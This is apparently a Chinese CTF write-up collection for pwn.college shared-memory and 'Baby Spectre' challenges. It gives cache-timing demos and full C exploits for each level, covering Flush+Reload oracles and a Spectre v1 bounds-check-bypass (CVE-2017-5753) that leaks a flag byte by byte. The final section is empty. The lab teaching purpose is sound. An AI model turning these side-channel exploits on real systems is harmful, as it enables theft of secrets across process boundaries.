# Examples
下面给出一些我在学习过程中写的 demo，就不详细说明作用了，只贴一下代码（怕自己弄
丢了
用到的 [axium](https://github.com/CuB3y0nd/axium) 是我自己写的内核 / 侧信道框架
，点点 star 支持一下谢谢 :P
GitHub: https://github.com/CuB3y0nd/axium
对于侧信道，还提供了缓存噪声分析的 dashboard xD
每个 chart 都可以单独导出为 PNG，方便嵌入到文档中之类的……
当然，TUI 的可视化 report 也是必不可少的：
## 探测当前程序内内存映射有没有进缓存
```c
#include <axium/axium.h>
#define ARRAY_SIZE 32
#define PAGE_SIZE 0x1000
#define TOTAL_SIZE (ARRAY_SIZE * PAGE_SIZE)
int main(int argc, char *argv[]) {
set_log_level(DEBUG);
if (argc < 2) {
log_info("Usage: %s <IDX>", argv[0]);
return 1;
}
int target_idx = atoi(argv[1]);
if (target_idx < 0 || target_idx >= ARRAY_SIZE) {
log_error("Index must be between 0 and %d", ARRAY_SIZE - 1);
}
uint8_t *target = mmap(NULL, TOTAL_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
if (target == MAP_FAILED) {
log_exception("mmap");
}
uint64_t threshold = cache_calibrate_threshold(target);
log_info("Calibrated threshold (context-aware): %lu cycles", threshold);
cache_flush_range(target, TOTAL_SIZE);
maccess(&target[target_idx * PAGE_SIZE]);
uint64_t results[ARRAY_SIZE];
for (size_t i = 0; i < ARRAY_SIZE; i++) {
size_t mixed_idx = MIXED_IDX(i, ARRAY_SIZE - 1);
uint64_t start = probe_start();
maccess(&target[mixed_idx * PAGE_SIZE]);
uint64_t end = probe_end();
results[mixed_idx] = end - start;
}
cache_report_t report;
cache_analyze(&report, results, ARRAY_SIZE, threshold);
cache_report(&report);
if (cache_export_report(&report, "report.json") == 0) {
cache_view_report("report.json");
} else {
log_error("Report export failed!");
}
munmap(target, TOTAL_SIZE);
return 0;
}
```
## 探测其它程序内内存映射有没有进缓存
先跑 `multiprocess-attacker` 再跑 `victim` 访问内存，效果如下：
```c title="victim.c"
#include <axium/axium.h>
#define ARRAY_SIZE 32
#define PAGE_SIZE 0x1000
#define TOTAL_SIZE (ARRAY_SIZE * PAGE_SIZE)
int main(int argc, char *argv[]) {
set_log_level(DEBUG);
if (argc < 3) {
log_info("Usage: %s <IDX> <CPU CORE>", argv[0]);
return -1;
}
int target_idx = atoi(argv[1]);
if (target_idx < 0 || target_idx >= ARRAY_SIZE)
log_error("Index must be between 0 and %d", ARRAY_SIZE - 1);
long nprocs = sysconf(_SC_NPROCESSORS_ONLN);
int chosen_cpu_core = atoi(argv[2]);
if (chosen_cpu_core < 0 || chosen_cpu_core >= nprocs)
log_error("CPU Core number must be between 0 and %ld", nprocs - 1);
set_cpu_affinity(chosen_cpu_core);
int fd = shm_open("/test", O_CREAT | O_RDWR, 0666);
ftruncate(fd, TOTAL_SIZE);
char *target =
mmap(NULL, TOTAL_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
log_info("Victim performing a single access to Index %d...", target_idx);
maccess(&target[target_idx * PAGE_SIZE]);
return 0;
}
```
```c title="multiprocess-attacker.c"
#include <axium/axium.h>
#define ARRAY_SIZE 32
#define PAGE_SIZE 0x1000
#define TOTAL_SIZE (ARRAY_SIZE * PAGE_SIZE)
int main(int argc, char *argv[]) {
set_log_level(DEBUG);
if (argc < 2) {
log_info("Usage: %s <CPU CORE>", argv[0]);
return -1;
}
long nprocs = sysconf(_SC_NPROCESSORS_ONLN);
int chosen_cpu_core = atoi(argv[1]);
if (chosen_cpu_core < 0 || chosen_cpu_core >= nprocs)
log_error("CPU Core number must be between 0 and %ld", nprocs - 1);
set_cpu_affinity(chosen_cpu_core);
shm_unlink("/test");
int fd = shm_open("/test", O_CREAT | O_RDWR, 0666);
ftruncate(fd, TOTAL_SIZE);
char *target =
mmap(NULL, TOTAL_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
uint64_t threshold = cache_calibrate_threshold(target);
log_info("Calibrated threshold (context-aware): %lu cycles", threshold);
if (cache_audit(target, threshold) != 0)
log_warning("Audit FAILED: clflush seems ineffective.");
cache_watch_report_t report;
uint64_t hits[ARRAY_SIZE] = {0};
cache_watch_report_init(&report, hits, ARRAY_SIZE, threshold);
cache_watch_config config =
cache_watch_config_init(threshold, ARRAY_SIZE, PAGE_SIZE, 100);
cache_watch_install_handler(&report, "report.json");
cache_watch(target, &config, NULL, &report);
return 0;
}
```
# Shared Memory 1.0
## Information
- Category: Pwn
## Description
> Get started with interacting with processes via shared memory.
## Write-up
前两道题不记分，估计是用来让我们熟悉一下共享内存的。
话不多说，直接逆。
`main` 先调用这个函数，把 flag 读到 `bss` 了，没啥说的。
```c
int read_flag_to_global()
{
int v1; // [rsp+8h] [rbp-8h]
int fd; // [rsp+Ch] [rbp-4h]
fd = open("/flag", 0);
v1 = read(fd, &flag_val, 0x100u);
if ( !fd || v1 <= 0 )
{
printf("Failed to read flag file. Exiting");
exit(1);
}
return close(fd);
}
```
然后是核心逻辑：
必须要 `argc` 大于 `1`，也就是除了 `argv[0]` 外我们起码还得多传一个参数，那具体
要几个，以及，这个参数是干啥的呢？
我们注意到 `argv[1]` 被复制到了 `dest`，所以这个参数是必要的，没有溢出，设置了 N
ULL terminate，然后又创建了一个 `argva` 参数列表，列表里只有一个参数，即 `dest`
。
```c
if ( argc > 1 )
{
strncpy(dest, argv[1], 0x12Bu);
dest[299] = 0;
argva[0] = dest;
argva[1] = 0;
shared_page = make_shared_page(&p_sem);
v12 = (int)time(0) % 13;
pin_cpu(v12);
printf("Pinning processes to CPU %dn", v12);
v14 = fork();
if ( v14 )
{
printf("Launching your code as PID: %d!n", v14);
puts("----------------");
wait(0);
v11 = inject_open_shm(v14);
inject_mmap(v14, v11);
inject_drop_privs(v14);
sem = p_sem;
sem_init(p_sem, 1, 0);
v9 = sem + 1;
*(_DWORD *)sem[1].__size = 0;
fd = open("/flag", 0);
buf = (char *)&p_sem[1].__align + 4;
read(fd, (char *)&p_sem[1].__align + 4, 0x50u);
printf("The flag is now in memory at %pn", buf);
ptrace_detatch(v14);
shm_unlink("/pwncollege");
puts("### Goodbye!");
}
else
{
ptrace(PTRACE_TRACEME, 0, 0, 0);
execv(dest, argva);
}
return 0;
}
else
{
puts("ERROR: argc < 2!");
return 1;
}
```
接着创建共享页，并设置大小为 `0x101000`，然后映射到 `0x1337000`，权限是 `PROT_RE
AD | PROT_WRITE`，flag 是 `MAP_FIXED | MAP_SHARED`，即必须映射到 `addr` 指定的地
址且映射和 `fd` 背后的对象共享，即访问这个映射地址就是访问共享内存。
此外，`0x1337000` 这个地址也将用作全局变量 `p_sem`，根据定义，这是一个 `semaphor
e`。然后将共享内存的 `fd` 返回，给到 `shared_page`。
```c
__int64 __fastcall make_shared_page(sem_t **p_sem)
{
unsigned int fd; // [rsp+1Ch] [rbp-4h]
puts("Creating Shared memory");
shm_unlink("/pwncollege");
fd = shm_open("/pwncollege", 66, 0x1C7u);
ftruncate(fd, 0x101000);
*p_sem = (sem_t *)mmap((void *)0x1337000, 0x101000u, 3, 32769, fd, 0);
if ( *p_sem != (sem_t *)0x1337000 )
__assert_fail("*addr == (char *) mmap_addr", "babyarchmemflag.c", 0x169u, "m
ake_shared_page");
return fd;
}
```
接着用当前的时间作为 seed 随机将程序绑定到 $[0, 13)$ 的一个 CPU Core 上运行。
```c
int __fastcall pin_cpu(int n0x3FF)
{
cpu_set_t cpuset; // [rsp+10h] [rbp-90h] BYREF
unsigned __int64 n0x3FF_1; // [rsp+98h] [rbp-8h]
memset(&cpuset, 0, sizeof(cpuset));
n0x3FF_1 = n0x3FF;
if ( (unsigned __int64)n0x3FF <= 1023 )
cpuset.__bits[n0x3FF_1 >> 6] |= 1LL << (n0x3FF_1 & 63);
return sched_setaffinity(0, 0x80u, &cpuset);
}
```
然后创建子进程，子进程会执行 `dest`，因此，我们知道 `argv[1]` 其实需要传递一个程
序路径。此外，由于子进程设置了 `PTRACE_TRACEME`，所以父进程可以修改子进程的 stat
s 。
一旦 `execv` 执行成功，内核会 自动 `SIGTRAP`，子进程暂停，父进程开始 `ptrace` 操
作子进程。
```c
ptrace(PTRACE_TRACEME, 0, 0, 0);
execv(dest, argva);
```
父进程通过 `wait(0)` 确保子进程发出 `SIGTRAP` 信号后，开始 `ptrace`，进行一些操
作，具体内容自己分析太恶心了，丢给 AI 就好了，我就不写了。大致结果就是将 victim
打开的共享内存页注入到我们的 exp 程序中，省去了我们手动 mmap 绑定的步骤。
然后将 `0x1337000`，也就是 `p_sem` 信号量联合体初始化为 `0`，之后 `open` flag，
将 flag 读到 `(char *)&p_sem[1].__align + 4` 的位置，这个可以看一下 [sem_t](http
s://sourcegraph.com/github.com/bminor/glibc@fb4db64a04ad6c96cd1fbb7e02eb59323b1f
2ac2/-/blob/sysdeps/unix/sysv/linux/bits/semaphore.h?L35) 的定义：
```c
#if __WORDSIZE == 64
# define __SIZEOF_SEM_T 32
#else
# define __SIZEOF_SEM_T 16
#endif
typedef union
{
char __size[__SIZEOF_SEM_T];
long int __align;
} sem_t;
```
因此它其实就是将 flag 读到了第二个联合体的地址加四的位置。之后 `ptrace_detatch`
让子进程继续跑。
所以我们只要写一个程序去输出 flag 被加载到的位置就好了。
## Exploit
```c
#include <semaphore.h>
#include <unistd.h>
#define SHM_BASE 0x1337000
#define SEM_SIZE sizeof(sem_t)
#define OFFSET (SEM_SIZE + 4)
#define FLAG_ADDR (char *)(SHM_BASE + OFFSET)
int main(int argc, char *argv[]) {
write(1, FLAG_ADDR, 0x100);
return 0;
}
```
# Shared Memory 2.0
## Information
- Category: Pwn
## Description
> Get started with interacting with processes via shared memory.
## Write-up
和上题差不多，区别是父进程的实现：
```c
if ( v14 )
{
printf("Launching your code as PID: %d!n", v14);
puts("----------------");
wait(0);
v11 = inject_open_shm(v14);
inject_mmap(v14, v11);
inject_drop_privs(v14);
sem = p_sem;
sem_init(p_sem, 1, 0);
v9 = sem + 1;
*(_DWORD *)sem[1].__size = 0;
printf("This challenge will read the flag into memory when the semaphore l
ocated at %p is incremented.", sem);
ptrace_detatch(v14);
sem_wait(sem);
fd = open("/flag", 0);
buf = (char *)&p_sem[1].__align + 4;
read(fd, (char *)&p_sem[1].__align + 4, 0x50u);
printf("The flag is now in memory at %pn", buf);
shm_unlink("/pwncollege");
puts("### Goodbye!");
}
```
`ptrace_detatch` 之后 `sem_wait(sem)` 等待信号量被消耗，然后才会去 `open`, `read
` flag 。但是由于这个信号量被 `sem_init(p_sem, 1, 0)` 初始化为 `0`，所以我们的子
进程应该使用 `sem_post` 增加一下信号量，否则程序会一直等待。
## Exploit
```c
#include <semaphore.h>
#include <unistd.h>
#define SHM_BASE 0x1337000
#define SEM_SIZE sizeof(sem_t)
#define OFFSET (SEM_SIZE + 4)
#define FLAG_ADDR (char *)(SHM_BASE + OFFSET)
#define SEM_ADDR (sem_t *)SHM_BASE
int main(int argc, char *argv[]) {
sem_post(SEM_ADDR);
write(1, FLAG_ADDR, 0x100);
return 0;
}
```
# Baby Spectre 1
## Information
- Category: Pwn
## Description
> Get started with a binary that side-channels itself!
## Write-up
正菜才刚刚开始。
简单逆向一下，我们可知 `&sem[1] = p_sem = 0x1337000`，会被初始化为 `0`，由于后续
`sem_wait(*(sem_t **)&sem[1])` 的阻塞，故需要我们手动增加这个信号量，否则不会执
行攻击；`&sem[1] + 32LL` 则是用于控制要访问的 flag byte 的 idx 。
然后这部分是非阻塞式地检查子进程有没有退出，退出则结束程序：
```c
pid_1 = waitpid(pid, &stat_loc, 1);
if ( pid == pid_1 )
break;
```
`flush_cache` 会将以 `0x1337000` 为基页的第二页，即 `0x1338000` 从 cache 中清空
。
之后的 `&p_sem[128 * flag_val[*idx] + 128];` 其实就是 `*(0x1337000 + 0x1000 * fl
ag_byte + 0x1000)`，也就是摸了一下 `0x1338000 + flag_byte * 0x1000` 这一页，让这
一页的前 64 字节进入 L1 Cache 。
:::tip
至于为什么是 `0x1000`，其实是因为 C 是根据 `sizeof(type)` 进行索引换算的，即 `se
m_t *p_sem` 在 C 语言的逻辑里：`p_sem[N]` 的实际地址为 `p_sem + (N * sizeof(sem_
t))`，由于 `sizeof(sem_t) == 0x20`，所以这里的两个 `128` 其实应该换算为 `0x1000`
。
这里看汇编的话其实更清楚，因为可以直接看到换算后的结果：
```asm showLineNumbers=false
main+594 mov rax, [rbp+idx]
main+59B mov eax, [rax]
main+59D cdqe
main+59F lea rdx, flag_val
main+5A6 movzx eax, byte ptr [rax+rdx]
main+5AA mov [rbp+var_A72], al
main+5B0 mov rax, [rbp+p_sem]
main+5B7 movsx edx, [rbp+var_A72]
main+5BE shl edx, 0Ch
main+5C1 movsxd rdx, edx
main+5C4 add rdx, 1000h
main+5CB add rax, rdx
main+5CE mov [rbp+var_A40], rax
```
:::
接着 `get_timing_data(idx, *(sem_t **)&sem[1], (__int64)timing_data);` 内部会执
行 256 次计时，统计 `0x1338000 + [0, 255] * 0x1000` 这 256 页的访问时间，写到 `t
iming_data` 数组。由于 `*(_QWORD *)(8LL * (unsigned __int8)(-89 * i + 13) + timi
ng_data)`，我们可知 `timing_data` 是按照 `_QWORD` 访问的。
最后，下面的代码将 `timing_data` 的数据写到攻击者可访问的共享内存中，也就是 `0x1
338000 + __size[8 * i]`，所以这也是将 `0x1338000` 视作一个按照 `_QWORD` 访问的数
组，每个索引对应了 `timing_data[i]` 的计时信息。因此，只要这个计时信息小于 hit c
ache threshold，我们就认为对应的 page 包含一个 flag byte，而由于 flag byte 的存
储是按照 `*(0x1337000 + 0x1000 * flag_byte + 0x1000)` 的形式访问的，所以我们只要
将这个 page 的索引转换为对应的 ASCII 即可泄漏 flag 的值。
```c
for ( i = 0; i <= 255; ++i )
{
v14 = p_sem + 128;
*(_QWORD *)&p_sem[128].__size[8 * i] = timing_data[i];
}
```
## Exploit
欣赏一下我的预言机版本半自动化 Pwn Framework xD
```c
#include <axium/axium.h>
#define SHM_BASE ((char *)0x1337000)
#define SEM_OFFSET 0
#define IDX_ARRAY_OFFSET sizeof(sem_t)
#define TIMING_ARRAY_OFFSET 0x1000
#define TIMING_ARRAY_SIZE 256
/**
* @brief Context for the challenge environment.
*/
typedef struct {
sem_t *sem; /**< Semaphore for synchronization. */
int *idx_array; /**< Index selection in shared memory. */
uint64_t *timing_array; /**< Timing results in shared memory. */
} challenge_ctx_t;
/**
* @brief Triggers the victim to perform a measurement.
*/
static void trigger(size_t idx_array, void *ctx) {
challenge_ctx_t *c = (challenge_ctx_t *)ctx;
*c->idx_array = (int)idx_array;
c->timing_array[TIMING_ARRAY_SIZE - 1] = 0; /* Clear synchronizing sentinel */
sem_post(c->sem);
}
/**
* @brief Waits for the victim to finish measurement.
*/
static bool wait(void *ctx) {
challenge_ctx_t *c = (challenge_ctx_t *)ctx;
/* Wait up to 1 second, checking every 100us */
return wait_until(c->timing_array[TIMING_ARRAY_SIZE - 1] != 0, 1.0, 100);
}
int main(void) {
set_log_level(DEBUG);
/* Match challenge's CPU affinity for stable measurements */
set_cpu_affinity(time(NULL) % 13);
/* clang-format off */
challenge_ctx_t ctx = {
.sem = (sem_t *)(SHM_BASE + SEM_OFFSET),
.idx_array = (int *)(SHM_BASE + IDX_ARRAY_OFFSET),
.timing_array = (uint64_t *)(SHM_BASE + TIMING_ARRAY_OFFSET)
};
schan_ops_t ops = {
.trigger = trigger,
.wait = wait,
.analyze = NULL
};
/* clang-format on */
schan_oracle_t schan_oracle;
schan_oracle_init(&schan_oracle, ops, ctx.timing_array, TIMING_ARRAY_SIZE,
&ctx);
/* Upcast to generic oracle for high-level scanning */
oracle_t *oracle = &schan_oracle.base;
log_info("Starting exploit...");
char flag[256] = {0};
ssize_t leaked = oracle_scan(oracle, flag, sizeof(flag) - 1, '}');
if (leaked > 0) {
log_success("Flag: %s", flag);
} else {
log_error("Exploit failed.");
}
return 0;
}
```
# Baby Spectre 2
## Information
- Category: Pwn
## Description
> A binary that side-channels itself, now using multiple pages.
## Write-up
这题就是给每个索引都开了一个 `0x1000` 大小的页，`p_align = &p_sem[128 * i + 128]
.__align;`，所以最好的办法应该是自己重构一个结果数组然后寻找最优匹配。
## Exploit
```c
#include <axium/axium.h>
#define SHM_BASE ((char *)0x1337000)
#define SEM_OFFSET 0
#define IDX_ARRAY_OFFSET sizeof(sem_t)
#define TIMING_ARRAY_OFFSET 0x1000
#define TIMING_ARRAY_SIZE 256
typedef struct {
sem_t *sem;
int *idx_array;
uint64_t *timing_array;
uint64_t results[TIMING_ARRAY_SIZE];
} challenge_ctx_t;
static void trigger(size_t idx_array, void *ctx) {
challenge_ctx_t *c = (challenge_ctx_t *)ctx;
*c->idx_array = (int)idx_array;
uint64_t *sentinel =
(uint64_t *)((char *)c->timing_array + 0x1000 * (TIMING_ARRAY_SIZE - 1));
*sentinel = 0;
sem_post(c->sem);
}
static bool wait(void *ctx) {
challenge_ctx_t *c = (challenge_ctx_t *)ctx;
uint64_t *sentinel =
(uint64_t *)((char *)c->timing_array + 0x1000 * (TIMING_ARRAY_SIZE - 1));
if (!wait_until(*sentinel != 0, 1.0, 100)) {
return false;
}
for (int i = 0; i < TIMING_ARRAY_SIZE; i++) {
c->results[i] = *(uint64_t *)((char *)c->timing_array + 0x1000 * i);
}
return true;
}
int main(void) {
set_log_level(DEBUG);
set_cpu_affinity(time(NULL) % 13);
/* clang-format off */
challenge_ctx_t ctx = {
.sem = (sem_t *)(SHM_BASE + SEM_OFFSET),
.idx_array = (int *)(SHM_BASE + IDX_ARRAY_OFFSET),
.timing_array = (uint64_t *)(SHM_BASE + TIMING_ARRAY_OFFSET)
};
schan_ops_t ops = {
.trigger = trigger,
.wait = wait,
.analyze = NULL
};
/* clang-format on */
schan_oracle_t schan_oracle;
schan_oracle_init(&schan_oracle, ops, ctx.results, TIMING_ARRAY_SIZE, &ctx);
oracle_t *oracle = &schan_oracle.base;
log_info("Starting exploit...");
char flag[256] = {0};
ssize_t leaked = oracle_scan(oracle, flag, sizeof(flag) - 1, '}');
if (leaked > 0) {
log_success("Flag: %s", flag);
} else {
log_error("Exploit failed.");
}
return 0;
}
```
# Baby Spectre 3
## Information
- Category: Pwn
## Description
> Measure memory access timings to leak the flag via a side-channel.
## Write-up
到底是什么神人写个 exp 持续浪费 CPU 资源，还不结束的！他不会真以为自己一直跑就能
赢吧……他不会挂着 exp 去睡觉了吧……我的 flag 啊～
## Exploit
```c
#include <axium/axium.h>
#define SHM_BASE ((char *)0x1337000)
#define SEM_OFFSET 0
#define IDX_ARRAY_OFFSET sizeof(sem_t)
#define TIMING_ARRAY_SIZE 256
typedef struct {
sem_t *sem;
int *idx_array;
char *probe_base;
uint64_t results[TIMING_ARRAY_SIZE];
} challenge_ctx_t;
static void trigger(size_t idx_array, void *ctx) {
challenge_ctx_t *c = (challenge_ctx_t *)ctx;
*c->idx_array = (int)idx_array;
sem_post(c->sem);
}
static bool wait(void *ctx) {
challenge_ctx_t *c = (challenge_ctx_t *)ctx;
for (int i = 0; i < TIMING_ARRAY_SIZE; i++) {
int idx = MIXED_IDX(i, 255);
char *addr = c->probe_base + 0x1000 * idx;
uint64_t start = probe_start();
maccess(addr);
uint64_t end = probe_end();
c->results[idx] = end - start;
}
return true;
}
int main(void) {
set_log_level(DEBUG);
set_cpu_affinity(time(NULL) % 13);
/* clang-format off */
challenge_ctx_t ctx = {
.sem = (sem_t *)SHM_BASE,
.idx_array = (int *)((sem_t *)SHM_BASE + 1),
.probe_base = (char *)SHM_BASE + 0x1000
};
schan_ops_t ops = {
.trigger = trigger,
.wait = wait,
.analyze = NULL
};
/* clang-format on */
schan_oracle_t schan_oracle;
schan_oracle_init(&schan_oracle, ops, ctx.results, TIMING_ARRAY_SIZE, &ctx);
oracle_t *oracle = &schan_oracle.base;
log_info("Starting exploit...");
char flag[256] = {0};
ssize_t leaked = oracle_scan(oracle, flag, sizeof(flag) - 1, '}');
if (leaked > 0) {
log_success("Flag: %s", flag);
} else {
log_error("Exploit failed.");
}
return 0;
}
```
# Baby Spectre 4
## Information
- Category: Pwn
## Description
> Perform a full flush and reload side-channel attack!
## Write-up
不是哥们，我这题都秒了，上题却因为有傻逼持续浪费 CPU 而导致我拿不到 flag，让我拿
到一堆噪声我也是无语了。
## Exploit
```c
#include <axium/axium.h>
#define SHM_BASE ((char *)0x1337000)
#define SEM_OFFSET 0
#define IDX_ARRAY_OFFSET sizeof(sem_t)
#define TIMING_ARRAY_SIZE 256
typedef struct {
sem_t *sem;
int *idx_array;
char *probe_base;
uint64_t results[TIMING_ARRAY_SIZE];
} challenge_ctx_t;
static void trigger(size_t idx_array, void *ctx) {
challenge_ctx_t *c = (challenge_ctx_t *)ctx;
for (int i = 0; i < TIMING_ARRAY_SIZE; i++) {
clflush(c->probe_base + 0x1000 * i);
}
mfence();
*c->idx_array = (int)idx_array;
sem_post(c->sem);
}
static bool wait(void *ctx) {
challenge_ctx_t *c = (challenge_ctx_t *)ctx;
for (int i = 0; i < TIMING_ARRAY_SIZE; i++) {
int idx = MIXED_IDX(i, 255);
char *addr = c->probe_base + 0x1000 * idx;
uint64_t start = probe_start();
maccess(addr);
uint64_t end = probe_end();
c->results[idx] = end - start;
}
return true;
}
int main(void) {
set_log_level(DEBUG);
set_cpu_affinity(time(NULL) % 13);
/* clang-format off */
challenge_ctx_t ctx = {
.sem = (sem_t *)SHM_BASE,
.idx_array = (int *)((sem_t *)SHM_BASE + 1),
.probe_base = (char *)SHM_BASE + 0x1000
};
schan_ops_t ops = {
.trigger = trigger,
.wait = wait,
.analyze = NULL
};
/* clang-format on */
schan_oracle_t schan_oracle;
schan_oracle_init(&schan_oracle, ops, ctx.results, TIMING_ARRAY_SIZE, &ctx);
oracle_t *oracle = &schan_oracle.base;
log_info("Starting exploit...");
char flag[256] = {0};
ssize_t leaked = oracle_scan(oracle, flag, sizeof(flag) - 1, '}');
if (leaked > 0) {
log_success("Flag: %s", flag);
} else {
log_error("Exploit failed.");
}
return 0;
}
```
# Baby Spectre 5
## Information
- Category: Pwn
## Description
> This binary never reads the flag bytes.. or does it?
## Write-up
这题对于摸 flag 有条件，即 `(float)((float)*p_align / 257.0) > 1.0`，也就是传入
的索引起码为 `258` 才可以进入这个 `if` 分支，但是如果是 `258` 的话，又摸不到 fla
g……
```c
if ( (float)((float)*p_align / 257.0) > 1.0 )
v12 = &p_sem[128 * flag_val[*p_align] + 128];
```
所以这题其实是打 **Spectre v1 Bounds Check Bypass (BCB) CVE-2017-5753**，通过多
次传入 `258` 以训练（欺骗）CPU 的 **Branch Prediction Unit (BCB)**，让它认为程序
极有可能进入这个 if 分支，导致推测性的执行 if 分支内的代码（前提是要有足够的时间
去 Speculative Execution，所以这里才使用浮点数计算。因为通常浮点数计算消耗的 cyc
les 都很大，这为推测执行提供了充足的执行窗口。）
So ? 我写了一个自动化的 Spectre v1 BCB 漏洞利用框架，能应对强噪声环境，还提供了
各种统计分析工具……自己研究去吧～
~~感觉我的 wp 写的越来越简略了，不过我觉得，都学到这一步了的人，应该不难理解吧？
所以啰里巴嗦的概念我就不写了（~~
## Exploit
```c
#include <axium/axium.h>
#define SHM_BASE ((char *)0x1337000)
#define PAGE_SIZE 0x1000
#define TIMING_ARRAY_SIZE 256
typedef struct {
sem_t *sem;
int *idx_addr;
char *probe_base;
uint64_t results[TIMING_ARRAY_SIZE];
} challenge_ctx_t;
static uint64_t cache_threshold = -1;
static int training_byte_to_ignore = -1;
static void victim_callback(void *ctx) {
challenge_ctx_t *c = (challenge_ctx_t *)ctx;
sem_post(c->sem);
}
static void trigger_wrapper(size_t idx, void *ctx) {
challenge_ctx_t *c = (challenge_ctx_t *)ctx;
/* clang-format off */
spectre_config_t config = {
.variant = SPECTRE_V1_BCB,
.v1 = {
.index_addr = c->idx_addr,
.index_size = sizeof(int),
.training_val = 258,
.attack_val = idx,
},
.ratio = 4,
.trials = 100,
.sync_delay = 0,
.post_delay = 100
};
/* clang-format on */
cache_flush_range(c->probe_base, PAGE_SIZE * TIMING_ARRAY_SIZE);
mfence();
spectre_v1(&config, victim_callback, c);
}
static bool wait_wrapper(void *ctx) {
challenge_ctx_t *c = (challenge_ctx_t *)ctx;
for (int i = 0; i < 256; i++) {
int idx = MIXED_IDX(i, 255);
char *addr = c->probe_base + PAGE_SIZE * idx;
uint64_t start = probe_start();
maccess(addr);
uint64_t end = probe_end();
c->results[idx] = end - start;
}
return true;
}
static int analyze_wrapper(const uint64_t *data, size_t len, void *ctx) {
(void)ctx;
uint64_t min_time = cache_threshold;
int best_index = -1;
for (int i = 0; i < (int)len; i++) {
if (i == training_byte_to_ignore)
continue;
if (data[i] > 0 && data[i] < min_time) {
min_time = data[i];
best_index = i;
}
}
return best_index;
}
int main(void) {
set_log_level(DEBUG);
set_cpu_affinity(time(NULL) % 13);
/* clang-format off */
challenge_ctx_t ctx = {
.sem = (sem_t *)SHM_BASE,
.idx_addr = (int *)((sem_t *)SHM_BASE + 1),
.probe_base = (char *)SHM_BASE + PAGE_SIZE
};
schan_ops_t ops = {
.trigger = trigger_wrapper,
.wait = wait_wrapper,
.analyze = analyze_wrapper
};
/* clang-format on */
cache_threshold = cache_calibrate_threshold(ctx.probe_base);
log_info("Profiling bias...");
trigger_wrapper(258, &ctx);
wait_wrapper(&ctx);
training_byte_to_ignore = find_best_hit(ctx.results, 256);
schan_oracle_t oracle;
schan_oracle_init(&oracle, ops, ctx.results, 256, &ctx);
char flag[256] = {0};
log_info("Starting statistical scan...");
ssize_t leaked = oracle_scan_stat(&oracle.base, flag, sizeof(flag) - 1, '}',
50, 2, 10, NULL, 256);
if (leaked > 0) {
log_success("Flag: %s", flag);
} else {
log_error("Exploit failed.");
}
return 0;
}
```
# Baby Spectre 6
## Information
- Category: Pwn
## Description
> Locate the flag in memory using shellcode after all references to it have been
DESTROYED, you will only have access to the "exit" system call. You will need a
creative way of locating the flag's address in your process!
## Write-up
## Exploit
```c
```
